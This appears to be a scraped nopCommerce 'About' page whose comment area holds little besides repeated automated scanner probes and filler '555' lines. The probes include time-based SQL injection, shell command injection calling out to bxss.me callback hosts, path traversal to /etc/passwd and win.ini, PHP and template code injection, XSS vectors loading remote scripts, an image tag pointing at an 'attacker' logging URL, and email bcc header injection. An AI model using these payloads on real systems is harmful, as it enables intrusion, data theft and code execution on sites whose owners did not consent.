About nopCommerce

This is a sample comment...

555

1CY6GcEkReO

555

555

555

-1 OR 2+982-982-1=0+0+0+1 --

-1 OR 2+871-871-1=0+0+0+1

response.write(9988316*9525148)

-1' OR 2+160-160-1=0+0+0+1 --

/../../../../../../../../../../windows/system32/BITSADMIN.exe

'+response.write(9988316*9525148)+'

echo roaivv$()\ kmqbor\nz^xyu||a #' &echo roaivv$()\ kmqbor\nz^xyu||a #|" &echo roaivv$()\ kmqbor\nz^xyu||a #

-1' OR 2+435-435-1=0+0+0+1 or 'Z8xrLYra'='

555

&echo ijjvmu$()\ ubuqwp\nz^xyu||a #' &echo ijjvmu$()\ ubuqwp\nz^xyu||a #|" &echo ijjvmu$()\ ubuqwp\nz^xyu||a #

-1" OR 2+110-110-1=0+0+0+1 --

"+response.write(9988316*9525148)+"

|echo lilhvt$()\ vcmqog\nz^xyu||a #' |echo lilhvt$()\ vcmqog\nz^xyu||a #|" |echo lilhvt$()\ vcmqog\nz^xyu||a #

555

7W6KcSPO

(nslookup hituochqkphch05cf3.bxss.me||perl -e "gethostbyname('hituochqkphch05cf3.bxss.me')")

555

555

$(nslookup hitssaytixpyyee699.bxss.me||perl -e "gethostbyname('hitssaytixpyyee699.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

&nslookup hitakqouqzduf64fc9.bxss.me&'\"`0&nslookup hitakqouqzduf64fc9.bxss.me&`'

555

../../../../../../../../../../../../../../windows/win.ini

if(now()=sysdate(),sleep(15),0)

&(nslookup hitodffyffxud06a0e.bxss.me||perl -e "gethostbyname('hitodffyffxud06a0e.bxss.me')")&'\"`0&(nslookup hitodffyffxud06a0e.bxss.me||perl -e "gethostbyname('hitodffyffxud06a0e.bxss.me')")&`'

file:///etc/passwd

|(nslookup hitswbbqlkhpp223fe.bxss.me||perl -e "gethostbyname('hitswbbqlkhpp223fe.bxss.me')")

555

555
bcc:074625.478-186831.478.9bd21.19285.2@bxss.me

`(nslookup hitlmqcjeqdxqfc733.bxss.me||perl -e "gethostbyname('hitlmqcjeqdxqfc733.bxss.me')")`

../555

to@example.com>
bcc:074625.478-186832.478.9bd21.19285.2@bxss.me

;(nslookup hitrjhzjksmei79c03.bxss.me||perl -e "gethostbyname('hitrjhzjksmei79c03.bxss.me')")|(nslookup hitrjhzjksmei79c03.bxss.me||perl -e "gethostbyname('hitrjhzjksmei79c03.bxss.me')")&(nslookup hitrjhzjksmei79c03.bxss.me||perl -e "gethostbyname('hitrjhzjksmei79c03.bxss.me')")

555

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

555

555

555

555

555

555

555

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

${10000472+9999538}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555

555

Http://bxss.me/t/fit.txt

555&n942099=v957671

555

http://bxss.me/t/fit.txt?.jpg

555

/etc/shells

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

c:/windows/win.ini

)

555

555

!(()&&!|*|*|

bxss.me

^(#$!@#$)(()))******

555

-1; waitfor delay '0:0:15' --

555

555

555

555

555

555

555

555

555

'.gethostbyname(lc('hitfa'.'mitgxsvd02181.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(72).chr(101).chr(77).'

'"()

555

-1); waitfor delay '0:0:15' --

".gethostbyname(lc("hitfy"."udmgnkupd6786.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(84).chr(114).chr(69)."

555

555

555

555'&&sleep(27*1000)*sfsubz&&'

-1)); waitfor delay '0:0:15' --

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

555"&&sleep(27*1000)*zqqhba&&"

1 waitfor delay '0:0:15' --

555'||sleep(27*1000)*iaistx||'

";print(md5(31337));$a="

555"||sleep(27*1000)*dfuuwx||"

HttP://bxss.me/t/xss.html?%00

${@print(md5(31337))}

bxss.me/t/xss.html?%00

555

"+"A".concat(70-3).concat(22*4).concat(103).concat(80).concat(117).concat(79)+(require"socket"
Socket.gethostbyname("hithb"+"afvihdznedde9.bxss.me.")[3].to_s)+"

CbmRldnn'; waitfor delay '0:0:15' --

555

'+'A'.concat(70-3).concat(22*4).concat(107).concat(65).concat(98).concat(72)+(require'socket'
Socket.gethostbyname('hitzu'+'cproxnbn1f224.bxss.me.')[3].to_s)+'

555

555

555

${@print(md5(31337))}\

555

'.print(md5(31337)).'

555

555

vEJssTuF'); waitfor delay '0:0:15' --

555

555

555

555

555

555

about-nopcommerce

555

555

about-nopcommerce/.

555

555

xfs.bxss.me

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

H0Irg08m')); waitfor delay '0:0:15' --

555

555

555

-5 OR 652=(SELECT 652 FROM PG_SLEEP(15))--

555'"()&%<zzz><ScRiPt >45xt(9317)</ScRiPt>

'"

<!--

-5) OR 821=(SELECT 821 FROM PG_SLEEP(15))--

555

'"()&%<zzz><ScRiPt >45xt(9209)</ScRiPt>

555

555

555

-1)) OR 911=(SELECT 911 FROM PG_SLEEP(15))--

5559125222

555

555

VVi4vKyO' OR 891=(SELECT 891 FROM PG_SLEEP(15))--

bfg2013＜s1﹥s2ʺs3ʹhjl2013

555

555

bfgx8209%C0%BEz1%C0%BCz2a%90bcxhjl8209

555

uAanwEDh') OR 492=(SELECT 492 FROM PG_SLEEP(15))--

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

wnHGMQA9')) OR 595=(SELECT 595 FROM PG_SLEEP(15))--

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

dfb__${98991*97996}__::.x

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

@@l3t2B

555<ScRiPt >45xt(9092)</ScRiPt>

555

555<WZTIMK>HVACI[!+!]</WZTIMK>

555<script>45xt(9725)</script>

555<ScR<ScRiPt>IpT>45xt(9703)</sCr<ScRiPt>IpT>

555

555

555<ScRiPt
>45xt(9152)</ScRiPt>

555

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9696></ScRiPt>

555

555

555<isindex type=image src=1 onerror=45xt(9961)>

555

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9496'>

555<body onload=45xt(9673)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=45xt(9645)>

555<img src=xyz OnErRor=45xt(9092)>

555<img/src=">" onerror=alert(9644)>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%34%35%78%74%289777%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\45xt(9422)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;45xt(9949)&lt;/sCripT&gt;

555

%F6<img zzz onmouseover=45xt(92261) //%F6>

555<input autofocus onfocus=45xt(9705)>

555

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555

555}body{zzz:Expre/**/SSion(45xt(9327))}

555VRfZj
<ScRiPt >45xt(9012)</ScRiPt>

555

555<WNUOYU>KGT66[!+!]</WNUOYU>

555<ifRAme sRc=9821.com></IfRamE>

555

555<a8d8640 x=9658>

555<img sRc='http://attacker-9022/log.php?

555

555<a5pHYOm<

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9020041*9816033)

-1 OR 2+149-149-1=0+0+0+1 --

echo kwdxfb$()\ zegcay\nz^xyu||a #' &echo kwdxfb$()\ zegcay\nz^xyu||a #|" &echo kwdxfb$()\ zegcay\nz^xyu||a #

hsj6XsJ7

'+response.write(9020041*9816033)+'

-1 OR 2+306-306-1=0+0+0+1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

../../../../../../../../../../../../../../etc/passwd

555

&echo bfukve$()\ ebzesl\nz^xyu||a #' &echo bfukve$()\ ebzesl\nz^xyu||a #|" &echo bfukve$()\ ebzesl\nz^xyu||a #

555

-1' OR 2+961-961-1=0+0+0+1 --

../../../../../../../../../../../../../../windows/win.ini

"+response.write(9020041*9816033)+"

file:///etc/passwd

-1' OR 2+263-263-1=0+0+0+1 or 'AnNKb94s'='

555

|echo gkqgpo$()\ dkmujk\nz^xyu||a #' |echo gkqgpo$()\ dkmujk\nz^xyu||a #|" |echo gkqgpo$()\ dkmujk\nz^xyu||a #

-1" OR 2+862-862-1=0+0+0+1 --

555
bcc:074625.478-188404.478.9bd21.19285.2@bxss.me

555

(nslookup hitzazcxedmym614b8.bxss.me||perl -e "gethostbyname('hitzazcxedmym614b8.bxss.me')")

../555

$(nslookup hitzwzhpybzga911bb.bxss.me||perl -e "gethostbyname('hitzwzhpybzga911bb.bxss.me')")

to@example.com>
bcc:074625.478-188405.478.9bd21.19285.2@bxss.me

555

&nslookup hitactylzjvhg68aa4.bxss.me&'\"`0&nslookup hitactylzjvhg68aa4.bxss.me&`'

555

555

555

&(nslookup hitcxksabegeidf0fb.bxss.me||perl -e "gethostbyname('hitcxksabegeidf0fb.bxss.me')")&'\"`0&(nslookup hitcxksabegeidf0fb.bxss.me||perl -e "gethostbyname('hitcxksabegeidf0fb.bxss.me')")&`'

555

if(now()=sysdate(),sleep(15),0)

555<esi:include src="http://bxss.me/rpb.png"/>

|(nslookup hitqappftcoeo28c7a.bxss.me||perl -e "gethostbyname('hitqappftcoeo28c7a.bxss.me')")

555

555

`(nslookup hitnkyoezqxxc392fc.bxss.me||perl -e "gethostbyname('hitnkyoezqxxc392fc.bxss.me')")`

555

555

555

555

;(nslookup hitvurcvrrogo8a03b.bxss.me||perl -e "gethostbyname('hitvurcvrrogo8a03b.bxss.me')")|(nslookup hitvurcvrrogo8a03b.bxss.me||perl -e "gethostbyname('hitvurcvrrogo8a03b.bxss.me')")&(nslookup hitvurcvrrogo8a03b.bxss.me||perl -e "gethostbyname('hitvurcvrrogo8a03b.bxss.me')")

555

555

${9999854+9999987}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555

Http://bxss.me/t/fit.txt

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

http://bxss.me/t/fit.txt?.jpg

555

/etc/shells

555&n923183=v988592

555

c:/windows/win.ini

555

bxss.me

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

555

555

555

555

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

555

555

555

)

555

'.gethostbyname(lc('hitdy'.'hzyymjkq19751.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(65).chr(114).chr(76).'

-1; waitfor delay '0:0:15' --

!(()&&!|*|*|

'"()

".gethostbyname(lc("hitjw"."hocgfpdu990c0.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(80).chr(116).chr(80)."

^(#$!@#$)(()))******

555

555

555

555

-1); waitfor delay '0:0:15' --

555

555

555

555'&&sleep(27*1000)*tovzmi&&'

555"&&sleep(27*1000)*jwwngq&&"

555'||sleep(27*1000)*schtwr||'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555"||sleep(27*1000)*aptohd||"

-1)); waitfor delay '0:0:15' --

';print(md5(31337));$a='

";print(md5(31337));$a="

555

${@print(md5(31337))}

555

1 waitfor delay '0:0:15' --

${@print(md5(31337))}\

HttP://bxss.me/t/xss.html?%00

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(102).concat(70).concat(97).concat(89)+(require"socket"
Socket.gethostbyname("hitfm"+"qlybytpl67b6a.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

hIUU1LQj'; waitfor delay '0:0:15' --

555

555

'+'A'.concat(70-3).concat(22*4).concat(102).concat(72).concat(104).concat(65)+(require'socket'
Socket.gethostbyname('hitux'+'uqxkapjx189cc.bxss.me.')[3].to_s)+'

555

555

555

555

555

555

about-nopcommerce

ucxwPWho'); waitfor delay '0:0:15' --

555

555

about-nopcommerce/.

555

555

555

1ICXCRWC')); waitfor delay '0:0:15' --

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

555

555

xfs.bxss.me

555

-5 OR 269=(SELECT 269 FROM PG_SLEEP(15))--

555

555

'"

555

<!--

555

555'"()&%<zzz><ScRiPt >Z0SI(9297)</ScRiPt>

555

555

-5) OR 670=(SELECT 670 FROM PG_SLEEP(15))--

555

'"()&%<zzz><ScRiPt >Z0SI(9233)</ScRiPt>

555

5559675987

555'"()&%<zzz><ScRiPt >DZ6h(9172)</ScRiPt>

-1)) OR 855=(SELECT 855 FROM PG_SLEEP(15))--

555

555

'"()&%<zzz><ScRiPt >DZ6h(9440)</ScRiPt>

555

bfg2926＜s1﹥s2ʺs3ʹhjl2926

555

555

PZs8T347' OR 342=(SELECT 342 FROM PG_SLEEP(15))--

5559354338

555

bfgx6879%C0%BEz1%C0%BCz2a%90bcxhjl6879

555

555

555

<%={{={@{#{${dfb}}%>

UkE9nzGH') OR 128=(SELECT 128 FROM PG_SLEEP(15))--

<th:t="${dfb}#foreach

2JpOqMY3')) OR 926=(SELECT 926 FROM PG_SLEEP(15))--

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >Z0SI(9978)</ScRiPt>

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

555<WOMKO4>BW8KY[!+!]</WOMKO4>

@@oEyDx

555<script>Z0SI(9478)</script>

555<ScR<ScRiPt>IpT>Z0SI(9559)</sCr<ScRiPt>IpT>

555

555<ScRiPt
>Z0SI(9111)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9277></ScRiPt>

555

555

555

555

555

555

555

555<isindex type=image src=1 onerror=Z0SI(9079)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9716'>

555<body onload=Z0SI(9402)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=Z0SI(9516)>

555<img src=xyz OnErRor=Z0SI(9366)>

555

555<img/src=">" onerror=alert(9268)>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%5A%30%53%49%289485%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\Z0SI(9656)\u003C/sCripT\u003E

555

555&lt;ScRiPt&gt;Z0SI(9289)&lt;/sCripT&gt;

%F6<img zzz onmouseover=Z0SI(94581) //%F6>

555

555<input autofocus onfocus=Z0SI(9859)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555

555}body{zzz:Expre/**/SSion(Z0SI(9773))}

555

555

555hR75o
<ScRiPt >Z0SI(9483)</ScRiPt>

555

555<WPIS7S>LSS2T[!+!]</WPIS7S>

555

555<ifRAme sRc=9329.com></IfRamE>

555

555

555<aK9fePa x=9515>

555<img sRc='http://attacker-9781/log.php?

555

555<a4j9crZ<

555

555

555

555

555

555

555

555

555

555

555

555

-1 OR 2+862-862-1=0+0+0+1 --

-1 OR 2+476-476-1=0+0+0+1

555

-1' OR 2+610-610-1=0+0+0+1 --

-1' OR 2+436-436-1=0+0+0+1 or 'KCWO3DHE'='

/../../../../../../../../../../windows/system32/BITSADMIN.exe

response.write(9929276*9910212)

555

-1" OR 2+150-150-1=0+0+0+1 --

'+response.write(9929276*9910212)+'

555

"+response.write(9929276*9910212)+"

555

555

if(now()=sysdate(),sleep(15),0)

555

echo uauuyx$()\ udrwhx\nz^xyu||a #' &echo uauuyx$()\ udrwhx\nz^xyu||a #|" &echo uauuyx$()\ udrwhx\nz^xyu||a #

555

&echo slvdma$()\ yjzmda\nz^xyu||a #' &echo slvdma$()\ yjzmda\nz^xyu||a #|" &echo slvdma$()\ yjzmda\nz^xyu||a #

ZvmKy9my

555

|echo rtipuh$()\ iodbhj\nz^xyu||a #' |echo rtipuh$()\ iodbhj\nz^xyu||a #|" |echo rtipuh$()\ iodbhj\nz^xyu||a #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

(nslookup hitqcsfrztezc2a5be.bxss.me||perl -e "gethostbyname('hitqcsfrztezc2a5be.bxss.me')")

555

$(nslookup hitfcbjxrpuife9587.bxss.me||perl -e "gethostbyname('hitfcbjxrpuife9587.bxss.me')")

&nslookup hiticrdfexrgn35bf8.bxss.me&'\"`0&nslookup hiticrdfexrgn35bf8.bxss.me&`'

555

&(nslookup hitkubcxurxpi07ee9.bxss.me||perl -e "gethostbyname('hitkubcxurxpi07ee9.bxss.me')")&'\"`0&(nslookup hitkubcxurxpi07ee9.bxss.me||perl -e "gethostbyname('hitkubcxurxpi07ee9.bxss.me')")&`'

../../../../../../../../../../../../../../etc/passwd

555
bcc:074625.478-189323.478.9bd21.19285.2@bxss.me

../../../../../../../../../../../../../../windows/win.ini

|(nslookup hitjxnnuozaow26833.bxss.me||perl -e "gethostbyname('hitjxnnuozaow26833.bxss.me')")

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

to@example.com>
bcc:074625.478-189324.478.9bd21.19285.2@bxss.me

`(nslookup hitbxgpbbqphkbedb3.bxss.me||perl -e "gethostbyname('hitbxgpbbqphkbedb3.bxss.me')")`

555

file:///etc/passwd

555

;(nslookup hitffvhqeyvylc75fe.bxss.me||perl -e "gethostbyname('hitffvhqeyvylc75fe.bxss.me')")|(nslookup hitffvhqeyvylc75fe.bxss.me||perl -e "gethostbyname('hitffvhqeyvylc75fe.bxss.me')")&(nslookup hitffvhqeyvylc75fe.bxss.me||perl -e "gethostbyname('hitffvhqeyvylc75fe.bxss.me')")

555

555

555

555

555

../555

555

555

555

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

555

555

555

555

555

${9999796+10000142}

555

-1; waitfor delay '0:0:15' --

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

-1); waitfor delay '0:0:15' --

Http://bxss.me/t/fit.txt

555

http://bxss.me/t/fit.txt?.jpg

/etc/shells

c:/windows/win.ini

-1)); waitfor delay '0:0:15' --

bxss.me

555

555

555

555

555

555&n970374=v950574

1 waitfor delay '0:0:15' --

555

555

)

555

555

555

!(()&&!|*|*|

555

^(#$!@#$)(()))******

555

555

555

555

555

trvfb5iX'; waitfor delay '0:0:15' --

555

'"()

555

555

555

lqHXAoiK'); waitfor delay '0:0:15' --

'.gethostbyname(lc('hitvj'.'uvgyiwsn4b8c7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(77).chr(106).chr(79).'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555'&&sleep(27*1000)*otyuch&&'

".gethostbyname(lc("hitxq"."mayxoxzf88772.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(86).chr(118).chr(77)."

';print(md5(31337));$a='

555"&&sleep(27*1000)*mnlhka&&"

555

555

555'||sleep(27*1000)*ipqhub||'

555

";print(md5(31337));$a="

555"||sleep(27*1000)*uvzzua||"

${@print(md5(31337))}

555

${@print(md5(31337))}\

555

555

4IqL0SUF')); waitfor delay '0:0:15' --

'.print(md5(31337)).'

555